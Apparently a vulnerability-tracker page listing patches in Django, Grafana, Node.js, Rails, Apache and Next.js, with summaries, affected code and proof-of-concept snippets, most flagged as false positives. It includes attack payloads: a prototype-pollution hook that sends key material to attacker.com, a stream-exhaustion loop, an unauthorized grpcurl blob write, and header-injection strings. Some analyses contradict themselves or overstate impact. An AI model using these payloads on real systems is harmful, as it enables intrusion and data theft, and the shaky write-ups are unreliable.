📈 Patch landed 3 hours 53 minutes before CVE published

Commit: d618d7ae4fec727d5b582bd24f803c28d17bf7cd

Author: Jake Howard

Django's UpdateCacheMiddleware performed a case-sensitive check for Cache-Control directives like 'private', 'no-cache', and 'no-store'. If a response manually set 'Cache-Control: Private' (or any mixed/uppercase variant), the middleware would fail to recognize it and cache the response anyway, potentially storing and serving private user data to other users. The patch lowercases the Cache-Control header value before checking for these directives.

🔍 View Affected Code & PoC

Affected Code

cache_control = response.get("Cache-Control", ())
if any(
    directive in cache_control
    for directive in (
        "private",

Proof of Concept

# Django view that manually sets Cache-Control with uppercase directive
from django.http import HttpResponse
from django.views.decorators.cache import cache_page

@cache_page(3600)
def private_user_view(request):
    # Developer intends this to be private (not cached)
    response = HttpResponse(f"Secret data for user: {request.user.username}")
    response['Cache-Control'] = 'Private'  # Uppercase 'P'
    return response

# Before the patch:
# 1. User A requests /private/ -> response with 'Cache-Control: Private' is CACHED by UpdateCacheMiddleware
#    because 'Private' != 'private' (case-sensitive check fails)
# 2. User B requests /private/ -> gets User A's cached private data from cache
# The fix lowercases the header before checking: cache_control.lower() makes 'Private' match 'private'
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-35193 Information Disclosure / Cache Poisoning

Jun 3, 2026, 11:37 AM — django/django

📈 Patch landed 3 hours 53 minutes before CVE published

Commit: a2faa8e895926ac5d63f72879b5ccf671b5b4ba9

Author: Jacob Walls

Django's UpdateCacheMiddleware and cache_page decorator failed to add 'Authorization' to the Vary header when caching responses to authenticated requests. This meant that a response generated for an authenticated user (with a specific Authorization header) could be served from cache to unauthenticated users or users with different credentials, potentially leaking private/user-specific data. The patch adds 'Authorization' to the Vary header whenever the request contains an Authorization header and the response is not explicitly marked 'Cache-Control: public'.

🔍 View Affected Code & PoC

Affected Code

if timeout and response.status_code == 200:
    cache_key = learn_cache_key(
        request, response, timeout, self.key_prefix, cache=self.cache
    )

Proof of Concept

# Step 1: Authenticated user requests a resource
import requests
# First request with Authorization header - response gets cached without Vary: Authorization
resp1 = requests.get('https://example.com/private-view/', headers={'Authorization': 'Bearer secret-token'})
# Response contains user-specific data and gets stored in cache keyed only on URL

# Step 2: Unauthenticated user (or different user) requests same URL
resp2 = requests.get('https://example.com/private-view/')
# Cache middleware returns the cached response from step 1, leaking authenticated user's private data
# to an unauthenticated user, because Vary: Authorization was not set
❌ Corrections & Retractions (53)

🔥 HIGH FALSE POSITIVE Authorization Bypass / Cache Poisoning

Commit: 99631827e2ab93f23ea62802bbb84d9a2307ba06

Author: Mihai Turdean

The List response helpers (typedObjects, genericObjects, folderObject) mutated the input slice in-place by stripping the object-type prefix from the shared cache entry. When CheckQueryCacheEnabled (the default) was active, a List call would corrupt the cached ListObjectsResponse so that subsequent BatchCheck calls — which rely on full typed idents like 'folder:&lt;uid&gt;' for membership lookups — would fail to match and incorrectly deny access to resources the user was directly authorized to access. The patch fixes this by allocating a new output slice instead of mutating the cached input.

🔍 View Affected Code & PoC

Affected Code

func typedObjects(typ string, objects []string) []string {
	prefix := typ + ":"
	for i := range objects {
		objects[i] = strings.TrimPrefix(objects[i], prefix) // mutates the cached slice
	}
	return objects
}

Proof of Concept

1. User:1 has a direct role grant on dashboard '1' (resource:dashboard.grafana.app/dashboards/1).
2. Call List(subject='user:1', group='dashboard.grafana.app', resource='dashboards') — this populates the query cache with full idents, then strips them in-place, corrupting the cached entry to bare ids like '1' instead of 'resource:dashboard.grafana.app/dashboards/1'.
3. Call BatchCheck(subject='user:1', checks=[{verb='get', group='dashboard.grafana.app', resource='dashboards', name='1'}]) — this hits the cache, tries to match 'resource:dashboard.grafana.app/dashboards/1' against the now-corrupted '1' entries, fails the membership lookup, and returns allowed=false even though the user has direct access.
Result: User:1 is incorrectly denied access to dashboard '1' after any prior List call.

🔥 HIGH FALSE POSITIVE Incorrect Authorization / Mass Data Modification

Commit: f82d5692c45fc7d248724b7fc895a6c842e766a4

Author: Kenta Ishizaki

When calling `update_all` or `delete_all` on a Rails ActiveRecord relation that uses `group`/`having` but no `joins`, `limit`, `offset`, or `order`, the HAVING clause was silently dropped. The base Arel visitor's `prepare_update_statement` only checked `has_limit_or_offset_or_orders?` and `has_join_sources?` before deciding whether to wrap in a subquery, missing `has_group_by_and_having?`. This caused the generated SQL to omit the HAVING filter entirely, resulting in ALL rows being updated or deleted instead of only those matching the HAVING condition. The patch adds `has_group_by_and_having?` to the condition so the primary-key subquery rewrite is applied, properly restricting affected rows.

🔍 View Affected Code & PoC

Affected Code

def prepare_update_statement(o)
  if o.key && (has_limit_or_offset_or_orders?(o) || has_join_sources?(o))

Proof of Concept

# Assume Post table has rows: (id:1, title:'low', legacy_comments_count:0), (id:2, title:'mid', legacy_comments_count:3), (id:3, title:'high', legacy_comments_count:9)
# Expected: only posts with MAX(legacy_comments_count) >= 3 (ids 2 and 3) should be updated
Post.where(id: [1,2,3]).group('posts.id').having('MAX(legacy_comments_count) >= 3').update_all(title: 'updated')
# BEFORE patch: emits 'UPDATE posts SET title = ? WHERE id IN (1,2,3)' -- ALL three rows updated including id:1
# AFTER patch: emits 'UPDATE posts SET title = ? WHERE id IN (SELECT id FROM posts WHERE id IN (1,2,3) GROUP BY posts.id HAVING MAX(legacy_comments_count) >= 3)' -- only ids 2 and 3 updated
# An attacker or misconfigured application code that intends to bulk-update only a filtered subset silently corrupts ALL matching rows, leading to unintended mass data modification.

⚠️ MEDIUM FALSE POSITIVE HTTP Header Injection (CRLF Injection)

Commit: 2e70ffaf76981fefd4b413e16a1b348a9273c6db

Author: Yuri Tseretyan

Before the patch, metadata values from alert rule labels were URL-encoded and placed directly into HTTP headers without stripping control characters (including CR `\\r` and LF `\\n`). An attacker who could control alert rule labels (e.g., via a plugin-originated rule) could inject arbitrary HTTP headers into datasource eval requests by embedding CRLF sequences in label values. The patch adds `sanitizeHeaderValue()` which strips all ASCII control characters (&lt; 0x20 and 0x7F) before encoding, preventing header injection.

🔍 View Affected Code & PoC

Affected Code

headers[fmt.Sprintf("http_X-Rule-%s", key)] = url.QueryEscape(value)

Proof of Concept

Set an alert rule label value to: `legitimate-value\r\nX-Injected-Header: malicious` — before the patch, this would be passed through url.QueryEscape which encodes spaces but NOT CR/LF (since %0D%0A are valid percent-encoded but the raw bytes \r\n in the string would not be encoded by url.QueryEscape if already present as literal bytes in Go string). Actually, since url.QueryEscape does encode \r and \n, the more precise attack vector is via other control characters below 0x20 that could corrupt the header value, or through the Origin metadata key being set to `plugin/grafana-slo-app\r\nX-Injected: evil` which would be inserted as `http_X-Rule-Origin: plugin/grafana-slo-app\r\nX-Injected: evil` in the headers map before being forwarded to the datasource backend.

⚠️ MEDIUM FALSE POSITIVE Buffer Over-read / Infinite Loop leading to Memory Corruption

Commit: 2c5ee792f5d37d951b86c24db37035705a1b0c46

Author: Joe Orton

The bug in `send_request` used `remain` (the original chunk size) instead of `wlen` (the actual bytes sent) to advance the write buffer pointer. When `apr_socket_send` performed a partial write (sending fewer bytes than requested), the pointer would advance past the already-sent data by `remain` bytes instead of `wlen` bytes, causing subsequent sends to read from the wrong memory location — potentially sending uninitialized or out-of-bounds memory to the OCSP responder, or causing an infinite loop if wlen is 0. This could lead to information disclosure (sending heap/stack memory contents to a remote OCSP server) or a denial of service.

🔍 View Affected Code & PoC

Affected Code

rv = apr_socket_send(sd, wbuf, &wlen);
wbuf += remain;  // BUG: should be wbuf += wlen
remain -= wlen;

Proof of Concept

Trigger a partial write scenario by configuring a slow/congested OCSP responder that causes apr_socket_send() to return APR_SUCCESS with wlen < remain (partial send). In this case: if remain=1000 and wlen=500, wbuf advances by 1000 instead of 500, skipping 500 bytes of the request body. The OCSP server receives garbled/truncated request data drawn from adjacent heap memory. An attacker controlling the OCSP responder endpoint (via DNS manipulation or MITM on the OCSP URL) could observe the leaked memory contents from the httpd process heap.

⚠️ MEDIUM FALSE POSITIVE Uninitialized Memory Read / NULL Pointer Dereference

Commit: 458c37b019c8c9a88124b591ca398267e7d784b0

Author: Nora Dossche

When deflateInit2() fails with Z_VERSION_ERROR (e.g., due to a zlib version mismatch between compile-time and runtime), the zlib library does not initialize the strm_.msg field to NULL. Node.js's error handling code then reads this uninitialized pointer as a C string, causing a crash (SIGSEGV/segfault). The fix initializes strm_.msg to nullptr before the switch statement so that error emission is safe even when initialization fails with Z_VERSION_ERROR.

🔍 View Affected Code & PoC

Affected Code

switch (mode_) {
    case DEFLATE:
    case GZIP:
    // ... deflateInit2() called, on Z_VERSION_ERROR strm_.msg is uninitialized
    // ErrorForMessage() then reads strm_.msg as a C string -> crash

Proof of Concept

// Trigger by running Node.js built against one version of zlib but loading a different zlib version at runtime
// In a test environment with mismatched zlib:
const zlib = require('zlib');
// Attempting to create a Deflate stream triggers deflateInit2() which returns Z_VERSION_ERROR
// Node then tries to emit the error using strm_.msg (uninitialized pointer) -> SIGSEGV
const deflate = zlib.createDeflate();
// Process crashes with: AddressSanitizer: SEGV on unknown address in __strlen_avx2

⚠️ MEDIUM FALSE POSITIVE Open Redirect

Commit: bc384860d5f0b77a3cab9769ca4b1a0d7f5ce2fe

Author: Joseph

The documentation example code for a session token exchange endpoint contained an open redirect vulnerability. The `redirect_url` query parameter was passed directly to `new URL()` and used as the redirect destination without validating that the destination was the same origin, allowing attackers to redirect users to arbitrary external URLs after setting a session cookie. The patch adds an origin check that returns a 400 error if the destination origin differs from the request origin.

🔍 View Affected Code & PoC

Affected Code

const response = NextResponse.redirect(new URL(redirectUrl, request.url))

response.cookies.set({
  value: token,

Proof of Concept

GET /api/auth/callback?session_token=VALID_TOKEN&redirect_url=https://evil.com

This causes the server to set the session cookie and then redirect the user to https://evil.com, enabling phishing attacks or credential/token theft after authentication.

⚠️ MEDIUM FALSE POSITIVE Uncontrolled Recursion / Stack Overflow

Commit: 40586837cbd30ad814d10bae5b38c5dbe5b4f9f6

Author: Renato Costa

The dashboard summary parser had unbounded recursion when processing deeply nested `spec` or `panels` fields in dashboard JSON. An attacker could craft a dashboard JSON with deeply nested `spec` objects or `panels` arrays to cause a stack overflow or excessive CPU/memory consumption during dashboard indexing/search operations. The patch limits `spec` nesting to 1 level and `panels` nesting to 4 levels deep.

🔍 View Affected Code & PoC

Affected Code

case "spec":
    return readDashboardIter(jsonPath+".spec", iter, lookup, lc)

// and in readpanelInfo:
p, ok := readpanelInfo(iter, lookup, fmt.Sprintf("%s.panels[%d]", jsonPath, ix), lc)

Proof of Concept

Submit a dashboard JSON with 10000 levels of nested spec: {"spec":{"spec":{"spec":...{"title":"deep"}...}}} via the Grafana dashboard save API. Before the patch, this would cause unbounded recursive function calls in readDashboardIter, leading to a goroutine stack overflow and crashing the Grafana backend process.

⚠️ MEDIUM FALSE POSITIVE Null Pointer Dereference / Denial of Service

Commit: 1e02b489120b02f346c77188039b9c167329a260

Author: Renato Costa

Before the patch, the List and Watch handlers in the resource server would panic (crash) if a request was received with a nil Options or nil Options.Key field. Specifically, `span.SetAttributes(attribute.String("group", req.Options.Key.Group), ...)` would dereference a nil pointer if `req.Options` or `req.Options.Key` was nil. The patch adds early validation checks before these dereferences to return a proper gRPC InvalidArgument error instead of crashing.

🔍 View Affected Code & PoC

Affected Code

func (s *server) List(ctx context.Context, req *resourcepb.ListRequest) (*resourcepb.ListResponse, error) {
	ctx, span := tracer.Start(ctx, "resource.server.List")
	span.SetAttributes(attribute.String("group", req.Options.Key.Group), attribute.String("resource", req.Options.Key.Resource))
	defer span.End()

Proof of Concept

// Send a ListRequest with nil Options to crash the server:
client.List(ctx, &resourcepb.ListRequest{}) // req.Options is nil, causes nil pointer dereference at req.Options.Key.Group
// Or send with nil Key:
client.List(ctx, &resourcepb.ListRequest{Options: &resourcepb.ListOptions{}}) // req.Options.Key is nil, same crash

⚠️ MEDIUM FALSE POSITIVE Header/Trailer Injection

Commit: 671ee0cfbf9f20f997ec80fb1687cd77b8f510bd

Author: Roberto Jiménez Sánchez

Before the patch, user-controlled fields (userName, userLogin, userEmail) were interpolated directly into git commit messages without sanitizing newline characters. An attacker with a Grafana account could set their display name or login to contain CR/LF sequences, forging additional git trailers (e.g., 'Signed-off-by:', 'Co-authored-by:') in the resulting commit message. The patch sanitizes these fields by collapsing any CR/LF to a single space before interpolation.

🔍 View Affected Code & PoC

Affected Code

// No sanitization before interpolation into commit message template
// and before building the Grafana-saved-by trailer
const trailer = `Grafana-saved-by: ${userName} (${userLogin})`;
// userName/userLogin/userEmail came directly from user profile without stripping newlines

Proof of Concept

Set Grafana user display name to: 'Ada Lovelace\n\nGrafana-saved-by: root (admin)\nSigned-off-by: [email protected]'
When a dashboard is saved, the resulting git commit message would contain:

Save dashboard: Test

Grafana-saved-by: Ada Lovelace

Grafana-saved-by: root (admin)
Signed-off-by: [email protected]

This forges additional git trailers attributing the commit to arbitrary identities.

🔥 HIGH FALSE POSITIVE Missing Authorization / Broken Access Control

Commit: 5353666ef455160905c75227fda7c057b201661d

Author: Rafael Bortolon Paulovic

Five gRPC RPCs on the unified-storage resource server (PutBlob, GetBlob, ListManagedObjects, CountManagedObjects, RebuildIndexes) had no authorization checks of their own, relying entirely on upstream callers to enforce access control. In deployments where the gRPC surface is reachable directly (e.g., misconfigured network policy or internal service-mesh bypass), any authenticated user could read/write blobs and managed-object indexes across arbitrary namespaces without restriction. The patch adds namespace-matching guards and an access.Check call on PutBlob to enforce authorization at the RPC layer itself.

🔍 View Affected Code & PoC

Affected Code

func (s *server) PutBlob(ctx context.Context, req *resourcepb.PutBlobRequest) (*resourcepb.PutBlobResponse, error) {
	if s.blob == nil {
		return &resourcepb.PutBlobResponse{Error: &resourcepb.ErrorResult{
			Message: "blob store not configured",
			Code:    http.StatusNotImplemented,
		}}, nil
	}
	rsp, err := s.blob.PutResourceBlob(ctx, req)
	...

Proof of Concept

# Direct gRPC call without a valid namespace-matching user identity:
grpcurl -plaintext -d '{"resource":{"group":"playlist.grafana.app","resource":"playlists","namespace":"victim-org","name":"target"},"method":0,"content_type":"image/png","value":"AAAA"}' storage-server:10000 resource.BlobStore/PutBlob
# Before the patch: succeeds and overwrites the victim org's blob with no authz check.
# After the patch: returns HTTP 401 (no user in ctx) or 403 (namespace mismatch).

🔥 HIGH FALSE POSITIVE Use-After-Free / Memory Safety (Unsound Lifetime Transmutation)

Commit: 1b77dba691ef7320ce3ff293955948fce961708c

Author: Tobias Koppers

The previous `IntoIterator` impl for `ReadRef&lt;T&gt;` used `transmute_copy` to fabricate `&'static`-typed item references, allowing those references to outlive the `ReadRef` that owned the backing storage. When the `ReadRef` was dropped (e.g., after a `try_join` or intermediate `Drop`), any stashed references became dangling, constituting a use-after-free. This was exploited by turbo-tasks cell eviction releasing underlying storage, causing memory corruption observable as panics with impossible string lengths during JSON serialization.

🔍 View Affected Code & PoC

Affected Code

// Old impl used transmute_copy to produce &'static references:
// Iterator::Item = &'static I, allowing references to escape
// the iterator and outlive the ReadRef's backing Arc storage.
// References stashed in futures/Vecs/map keys after ReadRef dropped.

Proof of Concept

In `project_asset_hashes_manifest.rs`, the old code called `output_assets.into_iter()` which yielded `&'static RcStr` references (via transmute). These were stored in `asset_paths` while `output_assets` ReadRef was consumed. After a `try_join` dropped the iterator/ReadRef, turbo-tasks cell eviction could free the backing `Arc`. Accessing `asset_paths` during JSON serialization then read freed memory, producing: `panicked at turbopack/crates/turbo-rcstr/src/lib.rs:132:52: range end index 13 out of range for slice of length 7` — `len=13` is impossible for a valid inline RcStr (max 7), proving the byte was read from freed/reused memory.

🔥 HIGH FALSE POSITIVE Resource Exhaustion / Denial of Service (Slowloris-style attack)

Commit: 866caa61f3b8f3a6f4f3e0ebb28ced0953ef3431

Author: James M Snell

Before this patch, peer-initiated QUIC streams had no idle timeout mechanism. A remote attacker could open many streams without sending any data, holding server resources (memory, stream state) indefinitely. This is a slowloris-style resource exhaustion attack. The patch adds a configurable `streamIdleTimeout` (defaulting to 30 seconds) that automatically destroys peer-initiated streams that have been idle beyond the timeout threshold.

🔍 View Affected Code & PoC

Affected Code

// No stream idle timeout existed. Peer-initiated streams could remain open indefinitely with no data sent, consuming server resources without bound.

Proof of Concept

// Attacker opens many QUIC streams and never sends data:
import quic from 'node:quic';
const client = await quic.connect({ address: 'victim-server', port: 4433 });
// Open thousands of streams but never write to them:
for (let i = 0; i < 10000; i++) {
  const stream = await client.createBidirectionalStream();
  // Never write to stream — server holds resources forever (pre-patch)
  // Post-patch: server destroys stream after 30s idle timeout
}

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: dfe2d47fe1e12b7935983e60ccea946c5ba3f529

Author: Filip Skokan

Before the patch, Node.js WebCrypto operations were vulnerable to prototype pollution attacks. An attacker could mutate built-in prototypes (e.g., Object.prototype.then, Promise constructor) to intercept or redirect WebCrypto promise resolutions, exfiltrate key material through JWK toJSON hooks, or manipulate intermediate results. The patch hardens the code by avoiding PromiseResolve() re-wrapping (which reads user-mutable constructors), using internal UTF-8 encoding bindings instead of shared TextEncoder/TextDecoder, and detaching JWK objects from user prototypes via null prototype assignment before processing.

🔍 View Affected Code & PoC

Affected Code

function callSubtleCryptoMethod(fn, receiver, args) {
  try {
    return PromiseResolve(ReflectApply(fn, receiver, args));
  } catch (err) {
    return PromiseReject(err);
  }
}

Proof of Concept

// Proof of concept: intercept WebCrypto key export via prototype pollution
const { subtle } = globalThis.crypto;

// Pollute Object.prototype.then to intercept thenable assimilation
Object.prototype.then = function(resolve) {
  console.log('Intercepted WebCrypto result:', JSON.stringify(this));
  resolve(this);
};

// Or pollute toJSON to exfiltrate JWK key material during wrapKey
Object.prototype.toJSON = function() {
  // exfiltrate key material
  fetch('https://attacker.com/steal?key=' + JSON.stringify(this));
  return this;
};

// Now any WebCrypto operation returning an object would trigger the hook
subtle.generateKey({name: 'AES-GCM', length: 256}, true, ['encrypt', 'decrypt'])
  .then(key => subtle.exportKey('jwk', key))
  .then(jwk => console.log('key exfiltrated'));
// Before patch: toJSON on exported JWK object could leak key data
// Before patch: inherited 'then' on result objects could redirect promise resolution

🔥 HIGH FALSE POSITIVE Race Condition / Lock Bypass

Commit: 0b99f0b9b1b90c359807a405aadc9a3a4e4765de

Author: Rafael Mendonça França

Under `config.active_support.isolation_level = :fiber`, the ShareLock keyed ownership on `Thread.current` instead of the current fiber/execution context. Since all request fibers on a fiber-scheduled server (e.g., Falcon) share the same thread, the lock treated all concurrent request fibers as a single owner. This allowed the reloader's exclusive `:unload` lock to be acquired while another request fiber still held a share lock, causing autoloaded constants to be cleared mid-request. The patch fixes this by keying ownership on `ActiveSupport::IsolatedExecutionState.context` which correctly distinguishes fibers under fiber isolation.

🔍 View Affected Code & PoC

Affected Code

def start_exclusive(purpose: nil, compatible: [], no_wait: false)
  synchronize do
    unless @exclusive_thread == Thread.current
      if busy_for_exclusive?(purpose)
        return false if no_wait

Proof of Concept

# With config.active_support.isolation_level = :fiber and a fiber-aware server:
# Fiber A (request fiber on Thread-1): acquires share lock via interlock.running
# Fiber B (reloader fiber on Thread-1): calls interlock.unload (exclusive lock)
# 
# Before patch: @exclusive_thread check uses Thread.current, which is Thread-1 for BOTH fibers
# busy_for_exclusive? checks @sharing[Thread.current] which counts shares for Thread-1
# If Fiber A holds share under Thread-1, Fiber B on same Thread-1 sees itself as already sharing
# and can bypass the wait, acquiring exclusive lock while Fiber A still runs
# Result: ActiveSupport::Dependencies.clear called mid-request => NoMethodError on cleared constants
#
# Fiber.new { interlock.running { sleep 1; MyModel.find(1) } }.resume  # Fiber A
# Fiber.new { interlock.unload { } }.resume  # Fiber B - clears constants while Fiber A runs

⚠️ MEDIUM FALSE POSITIVE Privilege Escalation / Unauthorized Action Execution

Commit: 8fd29079ed1253f0cd88ccf330de30271a5d15e4

Author: Sarah Boyce

In the Django admin change form view, a POST request (e.g., running an action) only required `has_change_permission`, but actions can be configured to require only view permission. Before the patch, a user with only view permission could not run view-only actions from the change form, while a user with change permission was allowed. More critically, the permission check order meant that when running actions from the change form (which goes through `_changeform_view`), the code checked `has_change_permission` for all POST requests before the action handler ran, blocking legitimate view-permission actions. The patch restructures this so `has_view_or_change_permission` is checked first (allowing view-only users to see and run view-permitted actions), and `has_change_permission` is only checked after actions have been processed - preventing users from bypassing the change permission check when submitting the actual form save.

🔍 View Affected Code & PoC

Affected Code

if request.method == "POST":
    if not self.has_change_permission(request, obj):
        raise PermissionDenied
else:
    if not self.has_view_or_change_permission(request, obj):
        raise PermissionDenied

Proof of Concept

1. Create a user with only 'view_externalsubscriber' permission (no change permission).
2. POST to /admin/admin_views/externalsubscriber/<pk>/change/ with data: {ACTION_CHECKBOX_NAME: [pk], 'CHANGE_FORM-action': 'external_mail'}
3. Before patch: The request raises PermissionDenied because has_change_permission returns False for view-only users on POST requests, even though the action only requires view permission.
4. After patch: The action executes successfully because has_view_or_change_permission passes, and has_change_permission is only checked after actions are processed (not for action submissions).

⚠️ MEDIUM FALSE POSITIVE Cache Poisoning / Information Disclosure

Commit: 085311e3b629f43ebb84b50b726a2a304fb94a23

Author: Hendrik Liebau

When both `cachedNavigations` and `varyParams` features are enabled in Next.js, a `&lt;Link prefetch={true}&gt;` for a dynamic route with fallback params could cause a Full prefetch response to be re-keyed under a generic 'Fallback' vary path (because varyParams tracking is incomplete for Full prefetches). A subsequent request for a different param value would then collide with that cache entry and receive the previously prefetched page's content, leaking param-specific content across different users/requests. The patch fixes this by skipping the re-keying step for Full prefetches, keeping entries pinned to their concrete vary path.

🔍 View Affected Code & PoC

Affected Code

if (process.env.__NEXT_VARY_PARAMS && segmentVaryParams !== null) {
  const fulfilledVaryPath = getFulfilledSegmentVaryPath(
    tree.varyPath,
    segmentVaryParams
  )
  // ... sets cache entry under generic fallback path
}

Proof of Concept

1. Enable cachedNavigations and varyParams features in Next.js app
2. Have a dynamic route /product/[slug] with fallback params
3. User A visits a page with a <Link href='/product/foo' prefetch={true}> link that enters the viewport, triggering a Full prefetch of /product/foo
4. The server returns incomplete varyParams (empty set) because dynamic stage params aren't tracked
5. Client re-keys the cache entry to a generic path with <Fallback> replacing the slug param
6. User B (or same user) navigates to /product/bar - the cache lookup collides with the <Fallback> keyed entry from step 5
7. User B sees /product/foo's content (param: foo) instead of /product/bar's content (param: bar) - cross-param content leak

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: e0200f2d73ae0f112c32ff55ae4ab8af18106b5f

Author: Matteo Collina

Before the patch, `ObjectAssign(input || {}, options)` would merge options into the `input` object directly, and the resulting object retained its prototype chain. If a property like `hostname` was defined on `Object.prototype` by an attacker (prototype pollution), it could be read during the options merge/processing, potentially influencing HTTP request behavior such as redirecting requests to an attacker-controlled host. The fix uses `ObjectAssign({ __proto__: null }, input, options)` to create a null-prototype object, preventing prototype chain lookups from polluting the options object.

🔍 View Affected Code & PoC

Affected Code

options = ObjectAssign(input || {}, options);

Proof of Concept

// Attacker pollutes Object.prototype with a malicious hostname
Object.prototype.hostname = 'evil.attacker.com';

// Now any http.request() call that goes through the else branch
// (i.e., when both input URL and options are provided) will pick up
// the polluted hostname if not explicitly set
const http = require('http');
http.request({ port: 80 }, (res) => {
  // Request goes to evil.attacker.com:80 instead of intended host
  console.log('Connected to:', res.socket.remoteAddress);
}).end();
// Before the patch, options.hostname resolves to 'evil.attacker.com'
// via prototype chain since input object inherits from Object.prototype

⚠️ MEDIUM FALSE POSITIVE Credential Exposure / Information Disclosure

Commit: f2d8737c86f9bbae018865a6db8e9f4730b672b1

Author: Alex Khomenko

Before this patch, Grafana's provisioning feature allowed users to save repository URLs containing embedded credentials (e.g., `https://user:[email protected]/owner/repo`). Since the URL field is not treated as a secret and is returned verbatim by the settings API, any authenticated user (including low-privilege Viewers) could read the credentials by querying the provisioning settings endpoint. The patch adds frontend validation that detects and blocks URLs with userinfo components (username/password) before they can be saved.

🔍 View Affected Code & PoC

Affected Code

url: {
  label: t('provisioning.shared.url-label', 'Repository URL'),
  validation: {
    pattern: {
      value: /^https:\/\/[^\/]+\/[^\/]+\/[^\/]+\/?$/,
      message: t('provisioning.shared.url-pattern', 'Must be a valid repository URL (https://hostname/owner/repo)'),
    },
  },
},

Proof of Concept

1. As an admin, configure a provisioning repository with URL: https://user:[email protected]/owner/repo
2. Save the configuration (no validation prevents this before the patch)
3. As any authenticated Viewer, call GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/<name>
4. The response includes the full URL verbatim: {"spec":{"github":{"url":"https://user:[email protected]/owner/repo",...}}}
5. The token ghp_secrettoken123 is now exposed to all authenticated users, while secure.token would have been redacted

⚠️ MEDIUM FALSE POSITIVE Integer Underflow / Slice Bounds Panic (Denial of Service)

Commit: baa428a6b4bf471301079df6ea43a44536ba3036

Author: Misi

Before the patch, the `/teams/{name}/members` handler parsed `offset` and `page` query parameters but did not clamp them to non-negative values. A negative `offset` value would cause a negative slice index when slicing `t.Spec.Members\[offset:end\]`, triggering a Go runtime panic and crashing the handler (or the server process, depending on recovery middleware). The patch adds explicit clamping of `offset` to `\[0, total\]` before slicing.

🔍 View Affected Code & PoC

Affected Code

window := t.Spec.Members[offset:end]  // offset can be negative from ?offset=-1

Proof of Concept

GET /apis/iam.grafana.app/v0alpha1/namespaces/default/teams/myteam/members?offset=-1

This sends a negative offset to the handler. Before the patch, `offset` would be -1, `end` would be (-1 + limit), and the slice expression `t.Spec.Members[-1:end]` would cause a Go runtime panic: 'runtime error: slice bounds out of range [-1:]', crashing the request handler.

⚠️ MEDIUM FALSE POSITIVE Null Pointer Dereference / Server Crash

Commit: eecbbca65f3fd09cf0c1aee763bc26b46a46380e

Author: Eric Covener

In mod_authn_socache.c, the `construct_key` function called `strrchr(r-&gt;uri, '/')` without checking if the result was NULL before using it in pointer arithmetic. If `r-&gt;uri` contained no '/' character (an unusual but possible condition), `slash` would be NULL and the expression `slash - r-&gt;uri` would cause undefined behavior/crash. The patch moves the slash computation earlier and adds a NULL check (`&& slash`) before entering the branch that uses it.

🔍 View Affected Code & PoC

Affected Code

if (!strcmp(context, directory)) {
    /* FIXME: are we at risk of this blowing up? */
    char *new_context;
    char *slash = strrchr(r->uri, '/');
    new_context = apr_palloc(r->pool, slash - r->uri +

Proof of Concept

Send a crafted HTTP request where r->uri contains no '/' character. In Apache's normal operation r->uri always starts with '/', but via certain internal redirect or sub-request mechanisms, or a crafted request, a URI without '/' could be constructed. When the authn_socache module processes authentication for a directory context with such a URI, slash==NULL, and `slash - r->uri` dereferences NULL causing a server crash (DoS). Example: configure AuthnCacheContext directory, then trigger an internal sub-request with a URI like 'nodirectoryslash' to crash the child process.

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: 21436f04057b62b4ad7b3704dad73898c681cd1e

Author: Matteo Collina

Before the patch, `req.headers` and `req.trailers` in Node.js HTTP/HTTP2 IncomingMessage were plain objects (`{}`) with `Object.prototype` as their prototype. This allowed an attacker to send HTTP headers named `__proto__`, `constructor`, or `toString` that could pollute the prototype chain or shadow built-in properties when the headers object was used in certain ways. The patch fixes this by creating the headers object with a null prototype (`{ __proto__: null }`), preventing any prototype chain manipulation.

🔍 View Affected Code & PoC

Affected Code

if (!this[kHeaders]) {
  this[kHeaders] = {};

  const src = this.rawHeaders;
  const dst = this[kHeaders];

Proof of Concept

// Attacker sends HTTP request with __proto__ header:
// GET / HTTP/1.1\r\nHost: victim\r\n__proto__: polluted\r\n\r\n
//
// Server-side code that may be vulnerable:
const http = require('http');
http.createServer((req, res) => {
  // Before patch: req.headers has Object.prototype
  // A header named '__proto__' could be interpreted as prototype manipulation
  // depending on how the object is used downstream
  const headers = req.headers;
  // If code does: Object.assign(target, req.headers)
  // or: for (let k in req.headers) target[k] = req.headers[k]
  // the __proto__ key could pollute target's prototype
  const target = {};
  Object.assign(target, headers); // __proto__ assignment pollutes Object.prototype
  console.log(({}).polluted); // could output attacker-controlled value
  res.end();
}).listen(8080);

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: 800f5828dce64a16e2255315a0c29ea71c25d044

Author: Jonathan Lopes

The `nidOnlyKeyPairs` object in Node.js crypto's `generateKeyPair` was created as a regular object without a null prototype, allowing inherited properties from `Object.prototype` (like `toString`, `constructor`, `hasOwnProperty`, etc.) to be used as valid key type names. By passing a type name like `'toString'` or `'constructor'`, an attacker could bypass the intended key type validation and potentially trigger unexpected behavior in the NID-based key pair generation. The patch fixes this by setting `'__proto__': null` on the object, removing inherited properties from the lookup table.

🔍 View Affected Code & PoC

Affected Code

const nidOnlyKeyPairs = {
  'ed25519': EVP_PKEY_ED25519,
  'ed448': EVP_PKEY_ED448,
  'x25519': EVP_PKEY_X25519,

Proof of Concept

const { generateKeyPairSync } = require('crypto');
// Before the patch, 'toString' would be found in nidOnlyKeyPairs via prototype
// inheritance, causing NidKeyPairGenJob to be called with undefined NID value
// instead of throwing ERR_INVALID_ARG_VALUE
try {
  generateKeyPairSync('toString', {});
  console.log('No error thrown - vulnerability confirmed');
} catch (e) {
  console.log('Error:', e.code); // Should be ERR_INVALID_ARG_VALUE but before patch may be different
}

⚠️ MEDIUM FALSE POSITIVE Server Error / Information disclosure via unhandled exception (HTTP 500 instead of 400)

Commit: dc467fdc3b5744cec71fab876c23a14013e2510b

Author: Dinesh

Before the patch, a maliciously crafted Content-Type header containing an RFC 2231 encoded parameter with an invalid encoding name (e.g., `charset*=BOGUSencoding''value`) would cause an unhandled LookupError in parse_header_parameters(), resulting in an HTTP 500 Internal Server Error instead of a proper HTTP 400 Bad Request. This crash could expose stack traces (if DEBUG=True) or indicate internal implementation details, and could be used for denial-of-service by causing unhandled exceptions in request parsing. The fix wraps the unquote call in a try/except to raise ValueError, which is then caught and re-raised as BadRequest (HTTP 400).

🔍 View Affected Code & PoC

Affected Code

if has_encoding:
    encoding, lang, value = value.split("'")
